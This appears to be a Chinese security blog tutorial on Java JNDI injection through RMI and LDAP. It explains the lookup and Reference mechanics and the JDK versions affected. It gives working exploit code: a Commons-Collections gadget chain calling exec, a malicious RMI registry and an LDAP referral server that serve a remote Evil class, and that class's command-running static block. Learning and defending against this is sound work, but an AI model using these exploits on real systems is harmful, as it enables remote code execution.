JNDI注入

JNDI注入原理分析

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

image-20251204190809404

版本限制

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

  1. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  2. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载objectfactory类
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

image-20251204190819100

重点

恶意类不能有包名

RMI

服务端

接口类

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface server extends Remote {
public String hello()throws RemoteException;
public void print(Object o)throws RemoteException;
}

接口实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class serverImpl extends UnicastRemoteObject implements server{

protected serverImpl() throws RemoteException {
System.out.println("构造方法");
}

@Override
public String hello( ) throws RemoteException {
System.out.println("hello方法被调用");
return "hello,world";
}

@Override
public void print(Object o) throws RemoteException {
// System.out.println(o);
}
}

注册中心

1
2
3
4
5
6
7
8
9
10
11
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class registry {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);
serverImpl hello = new serverImpl();
registry.rebind("hello",hello);
}
}

通过LocateRegistry创建注册表服务并绑定端口

1
Registry registry = LocateRegistry.createRegistry(1099);

创建远程对象实例。

serverImpl 必须继承 UnicastRemoteObject 并实现你的远程接口(server)。

在构造时,UnicastRemoteObject 会自动把这个对象导出(export)到 RMI 系统,使它可以接收远程调用。

1
serverImpl hello = new serverImpl();

把远程对象 hello 绑定到注册表里,名称是 "hello"

1
registry.rebind("hello", hello);

客户端

接口类

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface server extends Remote {
public String hello()throws RemoteException;
public void print(Object o)throws RemoteException;
}

获取注册表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import org.apache.commons.collections.Transformer;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
//获取远程主机对象
//利用注册表的代理去查询远程注册表中名为hello的对象 ,服务器会序列化该对象再传输到客户端
server hello = (server) registry.lookup("hello");
System.out.println(hello.hello());
hello.print(cc1());
}
public static Object cc1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{ Object.class,Object[].class},new Object[]{null,null }),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","value"); //设置map的值
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //获取类
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);
return o;
}
}
1
2
3
4
5
getRegistry("localhost",1099) ──> 获取注册表代理
lookup("hello") ──> 请求远程注册表
注册表返回 hello 的 Stub
调用 stub.hello() ──> 序列化请求发送给服务端
服务端反序列化调用真实对象 → 执行方法 → 序列化结果返回

数据传输过程

image-20251204190839980

无论是客户端还是服务端,他们直接的数据交互都是发送的序列化数据,到达后再进行反序列化

JNDI+RMI 注入

漏洞利用过程归纳总结为:

由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1234);
Reference reference = new Reference("Evil","Evil","http://127.0.0.1:8000/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("ServiceEvil",wrapper);
}
}

每行解析

1
LocateRegistry.createRegistry(1234);
  • 在本地创建 RMI 注册表,端口 1234。
  • 用来存放 Remote 对象,客户端可以通过 lookup() 获取。
1
Reference reference = new Reference("Evil","Evil","http://127.0.0.1:8000/");
  • 创建一个 Reference,指向恶意类:
    • 类名 "Evil" → 想生成的对象名。
    • 工厂类 "Evil" → JNDI 会用它的 getObjectInstance() 生成对象。
    • codebase "http://127.0.0.1:8000/" → 如果目标 JVM 没有本地类,从这里下载类文件。
1
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
  • 将 Reference 封装成 Remote 对象 → 可以注册到 RMI 注册表。
  • RMI 只能存储 Remote 对象,所以必须包装一下。
1
registry.bind("ServiceEvil", wrapper);
  • 把这个 Remote ReferenceWrapper 注册到 RMI 注册表,名字叫 "ServiceEvil"
  • 目标 JVM 如果查找 "ServiceEvil",就会获取到这个 ReferenceWrapper → JNDI 解析 → 加载恶意类 → 执行 static 块。

客户端

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1234/ServiceEvil";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Evil implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

static {}

  • 类加载时就会执行这里的代码 → 打开计算器(calc)。
  • 所以即使 getObjectInstance() 什么都不做,只要类被加载,恶意代码就触发。

实现 ObjectFactory

  • Reference 指定工厂类就是这个类。
  • 当目标 JVM 使用 JNDI 解析 Reference 时,会调用 getObjectInstance()(虽然这里返回 null),触发类加载 → static 块执行。

调用过程

创建一个恶意的 RMI 注册表,并在其中注册一个指向远程恶意类的 JNDI Reference 对象。该对象会被封装为可通过 RMI 传输的 Remote 对象,并以指定名称绑定到注册表中。这样,当目标服务端通过 JNDI 访问该 RMI 注册表并查找该名称时,就会根据 Reference 信息从远程加载恶意类并执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
目标 JVM                   攻击者 RMI 服务
| |
| JNDI lookup("rmi://...") |
|---------------------------->|
| | 返回 Remote ReferenceWrapper
| | 里面封装 Reference -> className=Evil, factoryClass=Evil, codebase=http://...
| <---------------------------|
| |
| JNDI 解析 Reference |
| 找到工厂类 Evil |
| 下载类(codebase 指向的 URL) |
| 加载类 -> 执行 static {Runtime.getRuntime().exec("calc");}
| 恶意逻辑执行完成

思路细节

JNDI

  • Java Naming and Directory Interface,用于在 Java 中查找和获取对象。
  • 可以访问多种目录/服务协议:LDAP、RMI、DNS 等。
  • 查找对象的返回类型可以是:
    • 直接的 Java 对象
    • Reference 对象 → JNDI 会根据 Reference 信息动态生成真实对象

Reference

  • javax.naming.Reference 是一个“对象说明书”,告诉 JNDI 如何去构造一个对象
  • 包含:
    • 类名(Class Name)
    • 工厂类名(Factory Class Name)
    • codebase URL(如果类不在本地 JVM,可从远程加载)
  • 注意:Reference 本身不包含真实逻辑,真正的行为由工厂类决定。

Remote

  • Java RMI 的标记接口,表示对象可以被远程调用。
  • 所有注册到 RMI 注册表的对象必须实现 Remote
  • 封装后的 ReferenceWrapper 或远程对象需要实现 Remote,才能被 RMI 注册和传输。

ReferenceWrapper

  • RMI 注册表只能存储 Remote 对象
  • ReferenceWrapper 是一个包装器,把 Reference 封装成 可通过 RMI 传输的 Remote 对象
  • 这样客户端或服务端查找 RMI 注册表时,可以获取到 Reference 并触发远程类加载。

为什么可以传输ReferenceWrapper对象

因为它实现了 Remote,符合 RMI 存储要求。

RMI 在传输 Remote 对象时:

  • 不是直接把对象传过去,而是传一个 代理(stub)
  • stub 会在客户端 JVM 中生成对象引用。

当客户端调用 JNDI 解析方法时:

  • RMI stub 会把 ReferenceWrapper 返回给客户端。
  • 客户端拿到 ReferenceWrapper 后,JNDI 解析 Reference → 下载 class → 执行逻辑。

UnicastRemoteObject

  • RMI 只是用来传输 ReferenceWrapper(Remote 对象),实际执行的是工厂类加载过程,目标 JVM 本地加载并执行,不是远程调用你的对象方法。

trustURLCodebase

  • 如果目标 JVM 禁止远程类加载(-Dcom.sun.jndi.rmi.object.trustURLCodebase=false),恶意类无法从 HTTP 下载 → 攻击失败。

流程

image-20250816001216274

img

JNDI+LDAP 注入

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class server {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#Evil"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端

1
2
3
4
5
6
7
public class client {

public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:7777/Evil");
}
}

image-20250816001512461

细节

  • 恶意类名要和ldap转发名一样
  • static静态代码块优先加载
  • 恶意类不需要包名
  • 编译恶意类的jdk必须和客户端一样

RMI和LDAP注入条件

RMI/LDAP 注入就是利用 JNDI,让客户端去访问攻击者控制的http服务器,从而加载和执行攻击者自定义的类。

JDK6 JDK7 JDK8 JDK11
RMI可用 6u132以下 7u122以下 8u113以下
LDAP可用 6u211以下 7u201以下 8u191以下 11.0.1以下

参考链接

https://myzxcg.com/2021/10/Java-RMI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%94%BB%E5%87%BB%E6%9C%8D%E5%8A%A1%E7%AB%AF

https://www.cnblogs.com/LittleHann/p/17768907.html#_label3_2_0_1

https://www.cnblogs.com/dhan/p/18417881

https://www.bilibili.com/video/BV1Ne4y1o7ch/?spm_id_from=333.337.search-card.all.click&vd_source=6bbe8080b9e77328acb7e5979da124e8


JNDI注入
http://xiaowu5.cn/2025/12/04/JNDI注入/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU